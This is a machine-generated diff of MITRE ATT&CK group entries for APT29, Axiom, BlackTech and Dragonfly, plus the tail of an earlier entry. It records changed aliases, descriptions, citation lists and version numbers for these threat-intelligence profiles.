| external_references[32]['source_name'] | TrendMicro Pawn Storm Dec 2020 | Secureworks IRON TWILIGHT Profile |
| external_references[32]['description'] | Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm’s Lack of Sophistication as a Strategy. Retrieved January 13, 2021. | Secureworks CTU. (n.d.). IRON TWILIGHT. Retrieved February 28, 2022. |
| external_references[32]['url'] | https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html | https://www.secureworks.com/research/threat-profiles/iron-twilight |
| external_references[33]['source_name'] | Microsoft STRONTIUM Aug 2019 | Secureworks IRON TWILIGHT Active Measures March 2017 |
| external_references[33]['description'] | MSRC Team. (2019, August 5). Corporate IoT – a path to intrusion. Retrieved August 16, 2019. | Secureworks CTU. (2017, March 30). IRON TWILIGHT Supports Active Measures. Retrieved February 28, 2022. |
| external_references[33]['url'] | https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/ | https://www.secureworks.com/research/iron-twilight-supports-active-measures |
| external_references[34]['source_name'] | Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020 | Accenture SNAKEMACKEREL Nov 2018 |
| external_references[34]['description'] | Microsoft Threat Intelligence Center (MSTIC). (2020, September 10). STRONTIUM: Detecting new patterns in credential harvesting. Retrieved September 11, 2020. | Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019. |
| external_references[34]['url'] | https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/ | https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50 |
| x_mitre_version | 3.2 | 4.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| aliases | | IRON TWILIGHT |
| external_references | | {'source_name': 'TrendMicro Pawn Storm Dec 2020', 'description': 'Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm’s Lack of Sophistication as a Strategy. Retrieved January 13, 2021.', 'url': 'https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html'} |
| external_references | | {'source_name': 'Microsoft STRONTIUM Aug 2019', 'description': 'MSRC Team. (2019, August 5). Corporate IoT – a path to intrusion. Retrieved August 16, 2019.', 'url': 'https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/'} |
| external_references | | {'source_name': 'Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020', 'description': 'Microsoft Threat Intelligence Center (MSTIC). (2020, September 10). STRONTIUM: Detecting new patterns in credential harvesting. Retrieved September 11, 2020.', 'url': 'https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/'} |
[G0016] APT29
Current version: 3.0
Version changed from: 2.1 → 3.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | https://www.whitehouse.gov/briefing-room/statements-releases/2021/04/15/fact-sheet-imposing-costs-for-harmful-foreign-activities-by-the-russian-government/ | |
| external_references | https://www.gov.uk/government/news/russia-uk-and-us-expose-global-campaigns-of-malign-activity-by-russian-intelligence-services | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-16 00:59:58.792000+00:00 | 2022-04-14 17:14:25.162000+00:00 |
| external_references[1]['source_name'] | APT29 | CozyDuke |
| external_references[1]['description'] | (Citation: F-Secure The Dukes)(Citation: FireEye APT29 Nov 2018)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021) | (Citation: Crowdstrike DNC June 2016) |
| external_references[2]['source_name'] | NobleBaron | Cozy Bear |
| external_references[2]['description'] | (Citation: SentinelOne NobleBaron June 2021) | (Citation: Crowdstrike DNC June 2016)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021)(Citation: CrowdStrike StellarParticle January 2022) |
| external_references[3]['source_name'] | Dark Halo | StellarParticle |
| external_references[3]['description'] | (Citation: Volexity SolarWinds) | (Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: CrowdStrike StellarParticle January 2022) |
| external_references[4]['source_name'] | StellarParticle | The Dukes |
| external_references[4]['description'] | (Citation: CrowdStrike SUNSPOT Implant January 2021) | (Citation: F-Secure The Dukes)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021) |
| external_references[5]['source_name'] | NOBELIUM | APT29 |
| external_references[5]['description'] | (Citation: MSTIC NOBELIUM Mar 2021)(Citation: MSTIC NOBELIUM May 2021)(Citation: MSTIC Nobelium Toolset May 2021)(Citation: MSRC Nobelium June 2021) | (Citation: F-Secure The Dukes)(Citation: FireEye APT29 Nov 2018)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021) |
| external_references[8]['source_name'] | The Dukes | NOBELIUM |
| external_references[8]['description'] | (Citation: F-Secure The Dukes)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021) | (Citation: MSTIC NOBELIUM Mar 2021)(Citation: MSTIC NOBELIUM May 2021)(Citation: MSTIC Nobelium Toolset May 2021)(Citation: MSRC Nobelium June 2021) |
| external_references[9]['source_name'] | Cozy Bear | IRON HEMLOCK |
| external_references[9]['description'] | (Citation: Crowdstrike DNC June 2016)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021) | (Citation: Secureworks IRON HEMLOCK Profile) |
| external_references[10]['source_name'] | CozyDuke | IRON RITUAL |
| external_references[10]['description'] | (Citation: Crowdstrike DNC June 2016) | (Citation: Secureworks IRON RITUAL Profile) |
| external_references[11]['source_name'] | White House Imposing Costs RU Gov April 2021 | NobleBaron |
| external_references[11]['description'] | White House. (2021, April 15). Imposing Costs for Harmful Foreign Activities by the Russian Government. Retrieved April 16, 2021. | (Citation: SentinelOne NobleBaron June 2021) |
| external_references[12]['source_name'] | UK Gov Malign RIS Activity April 2021 | Dark Halo |
| external_references[12]['description'] | UK Gov. (2021, April 15). UK and US expose global campaign of malign activity by Russian intelligence services . Retrieved April 16, 2021. | (Citation: Volexity SolarWinds) |
| external_references[13]['source_name'] | F-Secure The Dukes | Crowdstrike DNC June 2016 |
| external_references[13]['description'] | F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015. | Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016. |
| external_references[13]['url'] | https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf | https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ |
| external_references[14]['source_name'] | GRIZZLY STEPPE JAR | Volexity SolarWinds |
| external_references[14]['description'] | Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE – Russian Malicious Cyber Activity. Retrieved January 11, 2017. | Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020. |
| external_references[14]['url'] | https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf | https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/ |
| external_references[15]['source_name'] | Crowdstrike DNC June 2016 | CrowdStrike SUNSPOT Implant January 2021 |
| external_references[15]['description'] | Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016. | CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021. |
| external_references[15]['url'] | https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ | https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/ |
| external_references[16]['source_name'] | UK Gov UK Exposes Russia SolarWinds April 2021 | CrowdStrike StellarParticle January 2022 |
| external_references[16]['description'] | UK Gov. (2021, April 15). UK exposes Russian involvement in SolarWinds cyber compromise . Retrieved April 16, 2021. | CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022. |
| external_references[16]['url'] | https://www.gov.uk/government/news/russia-uk-exposes-russian-involvement-in-solarwinds-cyber-compromise | https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/ |
| external_references[17]['source_name'] | NSA Joint Advisory SVR SolarWinds April 2021 | GRIZZLY STEPPE JAR |
| external_references[17]['description'] | NSA, FBI, DHS. (2021, April 15). Russian SVR Targets U.S. and Allied Networks. Retrieved April 16, 2021. | Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE – Russian Malicious Cyber Activity. Retrieved January 11, 2017. |
| external_references[17]['url'] | https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF | https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf |
| external_references[18]['source_name'] | UK NSCS Russia SolarWinds April 2021 | FireEye APT29 Nov 2018 |
| external_references[18]['description'] | UK NCSC. (2021, April 15). UK and US call out Russia for SolarWinds compromise. Retrieved April 16, 2021. | Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018. |
| external_references[18]['url'] | https://www.ncsc.gov.uk/news/uk-and-us-call-out-russia-for-solarwinds-compromise | https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html |
| external_references[19]['source_name'] | FireEye SUNBURST Backdoor December 2020 | F-Secure The Dukes |
| external_references[19]['description'] | FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021. | F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015. |
| external_references[19]['url'] | https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html | https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf |
| external_references[20]['source_name'] | MSTIC NOBELIUM Mar 2021 | ESET Dukes October 2019 |
| external_references[20]['description'] | Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021. | Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020. |
| external_references[20]['url'] | https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/ | https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf |
| external_references[21]['source_name'] | CrowdStrike SUNSPOT Implant January 2021 | FireEye SUNBURST Backdoor December 2020 |
| external_references[21]['description'] | CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021. | FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021. |
| external_references[21]['url'] | https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/ | https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html |
| external_references[22]['source_name'] | Volexity SolarWinds | SentinelOne NobleBaron June 2021 |
| external_references[22]['description'] | Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020. | Guerrero-Saade, J. (2021, June 1). NobleBaron | New Poisoned Installers Could Be Used In Supply Chain Attacks. Retrieved August 4, 2021. |
| external_references[22]['url'] | https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/ | https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/ |
| external_references[23]['source_name'] | Cybersecurity Advisory SVR TTP May 2021 | Microsoft Unidentified Dec 2018 |
| external_references[23]['description'] | NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021. | Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019. |
| external_references[23]['url'] | https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf | https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/ |
| external_references[24]['source_name'] | FireEye APT29 Nov 2018 | MSTIC NOBELIUM May 2021 |
| external_references[24]['description'] | Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018. | Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021. |
| external_references[24]['url'] | https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html | https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/ |
| external_references[25]['source_name'] | ESET Dukes October 2019 | MSRC Nobelium June 2021 |
| external_references[25]['description'] | Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020. | MSRC. (2021, June 25). New Nobelium activity. Retrieved August 4, 2021. |
| external_references[25]['url'] | https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf | https://msrc-blog.microsoft.com/2021/06/25/new-nobelium-activity/ |
| external_references[26]['source_name'] | NCSC APT29 July 2020 | MSTIC Nobelium Toolset May 2021 |
| external_references[26]['description'] | National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020. | MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021. |
| external_references[26]['url'] | https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf | https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/ |
| external_references[27]['source_name'] | SentinelOne NobleBaron June 2021 | MSTIC NOBELIUM Mar 2021 |
| external_references[27]['description'] | Guerrero-Saade, J. (2021, June 1). NobleBaron | New Poisoned Installers Could Be Used In Supply Chain Attacks. Retrieved August 4, 2021. | Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021. |
| external_references[27]['url'] | https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/ | https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/ |
| external_references[28]['source_name'] | MSTIC NOBELIUM May 2021 | NCSC APT29 July 2020 |
| external_references[28]['description'] | Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021. | National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020. |
| external_references[28]['url'] | https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/ | https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf |
| external_references[29]['source_name'] | MSTIC Nobelium Toolset May 2021 | Cybersecurity Advisory SVR TTP May 2021 |
| external_references[29]['description'] | MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021. | NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021. |
| external_references[29]['url'] | https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/ | https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf |
| external_references[30]['source_name'] | MSRC Nobelium June 2021 | NSA Joint Advisory SVR SolarWinds April 2021 |
| external_references[30]['description'] | MSRC. (2021, June 25). New Nobelium activity. Retrieved August 4, 2021. | NSA, FBI, DHS. (2021, April 15). Russian SVR Targets U.S. and Allied Networks. Retrieved April 16, 2021. |
| external_references[30]['url'] | https://msrc-blog.microsoft.com/2021/06/25/new-nobelium-activity/ | https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF |
| external_references[31]['source_name'] | Microsoft Unidentified Dec 2018 | Secureworks IRON HEMLOCK Profile |
| external_references[31]['description'] | Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019. | Secureworks CTU. (n.d.). IRON HEMLOCK. Retrieved February 22, 2022. |
| external_references[31]['url'] | https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/ | http://www.secureworks.com/research/threat-profiles/iron-hemlock |
| x_mitre_version | 2.1 | 3.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| aliases | | IRON RITUAL |
| aliases | | IRON HEMLOCK |
| external_references | | {'source_name': 'Secureworks IRON RITUAL Profile', 'description': 'Secureworks CTU. (n.d.). IRON RITUAL. Retrieved February 24, 2022.', 'url': 'https://www.secureworks.com/research/threat-profiles/iron-ritual'} |
| external_references | | {'source_name': 'UK Gov Malign RIS Activity April 2021', 'description': 'UK Gov. (2021, April 15). UK and US expose global campaign of malign activity by Russian intelligence services . Retrieved April 16, 2021.', 'url': 'https://www.gov.uk/government/news/russia-uk-and-us-expose-global-campaigns-of-malign-activity-by-russian-intelligence-services'} |
| external_references | | {'source_name': 'UK Gov UK Exposes Russia SolarWinds April 2021', 'description': 'UK Gov. (2021, April 15). UK exposes Russian involvement in SolarWinds cyber compromise . Retrieved April 16, 2021.', 'url': 'https://www.gov.uk/government/news/russia-uk-exposes-russian-involvement-in-solarwinds-cyber-compromise'} |
| external_references | | {'source_name': 'UK NSCS Russia SolarWinds April 2021', 'description': 'UK NCSC. (2021, April 15). UK and US call out Russia for SolarWinds compromise. Retrieved April 16, 2021.', 'url': 'https://www.ncsc.gov.uk/news/uk-and-us-call-out-russia-for-solarwinds-compromise'} |
| external_references | | {'source_name': 'White House Imposing Costs RU Gov April 2021', 'description': 'White House. (2021, April 15). Imposing Costs for Harmful Foreign Activities by the Russian Government. Retrieved April 16, 2021.', 'url': 'https://www.whitehouse.gov/briefing-room/statements-releases/2021/04/15/fact-sheet-imposing-costs-for-harmful-foreign-activities-by-the-russian-government/'} |
[G0001] Axiom
Current version: 2.0
Version changed from: 1.2 → 2.0
|
|
|---|
| t | [Axiom](https://attack.mitre.org/groups/G0001) is a cyber es | t | [Axiom](https://attack.mitre.org/groups/G0001) is a suspecte |
| pionage group suspected to be associated with the Chinese go | | d Chinese cyber espionage group that has targeted the aerosp |
| vernment. It is responsible for the Operation SMN campaign. | | ace, defense, government, manufacturing, and media sectors s |
| (Citation: Novetta-Axiom) Though both this group and [Winnti | | ince at least 2008. Some reporting suggests a degree of over |
| Group](https://attack.mitre.org/groups/G0044) use the malwa | | lap between [Axiom](https://attack.mitre.org/groups/G0001) a |
| re [Winnti for Windows](https://attack.mitre.org/software/S0 | | nd [Winnti Group](https://attack.mitre.org/groups/G0044) but |
| 141), the two groups appear to be distinct based on differen | | the two groups appear to be distinct based on differences i |
| ces in reporting on the groups' TTPs and targeting. (Citatio | | n reporting on TTPs and targeting.(Citation: Kaspersky Winnt |
| n: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti | | i April 2013)(Citation: Kaspersky Winnti June 2015)(Citation |
| June 2015) (Citation: Novetta Winnti April 2015) | | : Novetta Winnti April 2015) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-30 18:52:38.226000+00:00 | 2022-04-15 15:52:00.359000+00:00 |
| description | [Axiom](https://attack.mitre.org/groups/G0001) is a cyber espionage group suspected to be associated with the Chinese government. It is responsible for the Operation SMN campaign. (Citation: Novetta-Axiom) Though both this group and [Winnti Group](https://attack.mitre.org/groups/G0044) use the malware [Winnti for Windows](https://attack.mitre.org/software/S0141), the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015) | [Axiom](https://attack.mitre.org/groups/G0001) is a suspected Chinese cyber espionage group that has targeted the aerospace, defense, government, manufacturing, and media sectors since at least 2008. Some reporting suggests a degree of overlap between [Axiom](https://attack.mitre.org/groups/G0001) and [Winnti Group](https://attack.mitre.org/groups/G0044) but the two groups appear to be distinct based on differences in reporting on TTPs and targeting.(Citation: Kaspersky Winnti April 2013)(Citation: Kaspersky Winnti June 2015)(Citation: Novetta Winnti April 2015) |
| external_references[1]['source_name'] | Axiom | Group 72 |
| external_references[1]['description'] | (Citation: Novetta-Axiom) | (Citation: Cisco Group 72) |
| external_references[2]['source_name'] | Group 72 | Axiom |
| external_references[2]['description'] | (Citation: Cisco Group 72) | (Citation: Novetta-Axiom) |
| external_references[3]['source_name'] | Novetta-Axiom | Cisco Group 72 |
| external_references[3]['description'] | Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014. | Esler, J., Lee, M., and Williams, C. (2014, October 14). Threat Spotlight: Group 72. Retrieved January 14, 2016. |
| external_references[3]['url'] | http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf | http://blogs.cisco.com/security/talos/threat-spotlight-group-72 |
| external_references[5]['source_name'] | Kaspersky Winnti June 2015 | Novetta Winnti April 2015 |
| external_references[5]['description'] | Tarakanov, D. (2015, June 22). Games are over: Winnti is now targeting pharmaceutical companies. Retrieved January 14, 2016. | Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017. |
| external_references[5]['url'] | https://securelist.com/games-are-over/70991/ | http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf |
| external_references[6]['source_name'] | Novetta Winnti April 2015 | Novetta-Axiom |
| external_references[6]['description'] | Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017. | Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014. |
| external_references[6]['url'] | http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf | http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf |
| external_references[7]['source_name'] | Cisco Group 72 | Kaspersky Winnti June 2015 |
| external_references[7]['description'] | Esler, J., Lee, M., and Williams, C.. (2014, October 14). Threat Spotlight: Group 72. Retrieved January 14, 2016. | Tarakanov, D. (2015, June 22). Games are over: Winnti is now targeting pharmaceutical companies. Retrieved January 14, 2016. |
| external_references[7]['url'] | http://blogs.cisco.com/security/talos/threat-spotlight-group-72 | https://securelist.com/games-are-over/70991/ |
| x_mitre_version | 1.2 | 2.0 |
[G0098] BlackTech
Current version: 2.0
Version changed from: 1.1 → 2.0
|
|
|---|
| t | [BlackTech](https://attack.mitre.org/groups/G0098) is a cybe | t | [BlackTech](https://attack.mitre.org/groups/G0098) is a susp |
| r espionage group operating against targets in East Asia, pa | | ected Chinese cyber espionage group that has primarily targe |
| rticularly Taiwan, and occasionally, Japan and Hong Kong.(Ci | | ted organizations in East Asia--particularly Taiwan, Japan, |
| tation: TrendMicro BlackTech June 2017) | | and Hong Kong--and the US since at least 2013. [BlackTech](h |
| | | ttps://attack.mitre.org/groups/G0098) has used a combination |
| | | of custom malware, dual-use tools, and living off the land |
| | | tactics to compromise media, construction, engineering, elec |
| | | tronics, and financial company networks.(Citation: TrendMicr |
| | | o BlackTech June 2017)(Citation: Symantec Palmerworm Sep 202 |
| | | 0)(Citation: Reuters Taiwan BlackTech August 2020) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/ | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-20 17:57:07.909000+00:00 | 2022-04-06 13:14:27.477000+00:00 |
| description | [BlackTech](https://attack.mitre.org/groups/G0098) is a cyber espionage group operating against targets in East Asia, particularly Taiwan, and occasionally, Japan and Hong Kong.(Citation: TrendMicro BlackTech June 2017) | [BlackTech](https://attack.mitre.org/groups/G0098) is a suspected Chinese cyber espionage group that has primarily targeted organizations in East Asia--particularly Taiwan, Japan, and Hong Kong--and the US since at least 2013. [BlackTech](https://attack.mitre.org/groups/G0098) has used a combination of custom malware, dual-use tools, and living off the land tactics to compromise media, construction, engineering, electronics, and financial company networks.(Citation: TrendMicro BlackTech June 2017)(Citation: Symantec Palmerworm Sep 2020)(Citation: Reuters Taiwan BlackTech August 2020) |
| external_references[1]['source_name'] | TrendMicro BlackTech June 2017 | Palmerworm |
| external_references[1]['description'] | Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020. | (Citation: Symantec Palmerworm Sep 2020)(Citation: IronNet BlackTech Oct 2021) |
| x_mitre_version | 1.1 | 2.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| aliases | | Palmerworm |
| external_references | | {'source_name': 'TrendMicro BlackTech June 2017', 'description': 'Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/'} |
| external_references | | {'source_name': 'IronNet BlackTech Oct 2021', 'description': 'Demboski, M., et al. (2021, October 26). China cyber attacks: the current threat landscape. Retrieved March 25, 2022.', 'url': 'https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape'} |
| external_references | | {'source_name': 'Reuters Taiwan BlackTech August 2020', 'description': 'Lee, Y. (2020, August 19). Taiwan says China behind cyberattacks on government agencies, emails. Retrieved April 6, 2022.', 'url': 'https://www.reuters.com/article/us-taiwan-cyber-china/taiwan-says-china-behind-cyberattacks-on-government-agencies-emails-idUSKCN25F0JK'} |
| external_references | | {'source_name': 'Symantec Palmerworm Sep 2020', 'description': 'Threat Intelligence. (2020, September 29). Palmerworm: Espionage Gang Targets the Media, Finance, and Other Sectors. Retrieved March 25, 2022.', 'url': 'https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt'} |
| x_mitre_contributors | | Hannah Simes, BT Security |
[G0035] Dragonfly
Current version: 3.0
Version changed from: 2.1 → 3.0
|
|
|---|
| t | [Dragonfly](https://attack.mitre.org/groups/G0035) is a cybe | t | [Dragonfly](https://attack.mitre.org/groups/G0035) is a cybe |
| r espionage group that has been active since at least 2011. | | r espionage group that has been attributed to Russia's Feder |
| They initially targeted defense and aviation companies but s | | al Security Service (FSB) Center 16.(Citation: DOJ Russia Ta |
| hifted to focus to include the energy sector in early 2013. | | rgeting Critical Infrastructure March 2022)(Citation: UK GOV |
| They have also targeted companies related to industrial cont | | FSB Factsheet April 2022) Active since at least 2010, [Drag |
| rol systems. (Citation: Symantec Dragonfly)(Citation: Secure | | onfly](https://attack.mitre.org/groups/G0035) has targeted d |
| works IRON LIBERTY July 2019) A similar group emerged in 20 | | efense and aviation companies, government entities, companie |
| 15 and was identified by Symantec as [Dragonfly 2.0](https:/ | | s related to industrial control systems, and critical infras |
| /attack.mitre.org/groups/G0074). There is debate over the ex | | tructure sectors worldwide through supply chain, spearphishi |
| tent of the overlap between [Dragonfly](https://attack.mitre | | ng, and drive-by compromise attacks.(Citation: Symantec Drag |
| .org/groups/G0035) and [Dragonfly 2.0](https://attack.mitre. | | onfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citatio |
| org/groups/G0074), but there is sufficient evidence to lead | | n: Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly |
| to these being tracked as two separate groups. (Citation: Sy | | 2.0 Sept 2017)(Citation: Gigamon Berserk Bear October 2021) |
| mantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 | | (Citation: CISA AA20-296A Berserk Bear December 2020)(Citati |
| Sept 2017)(Citation: Dragos DYMALLOY ) | | on: Symantec Dragonfly 2.0 October 2017) |
Details
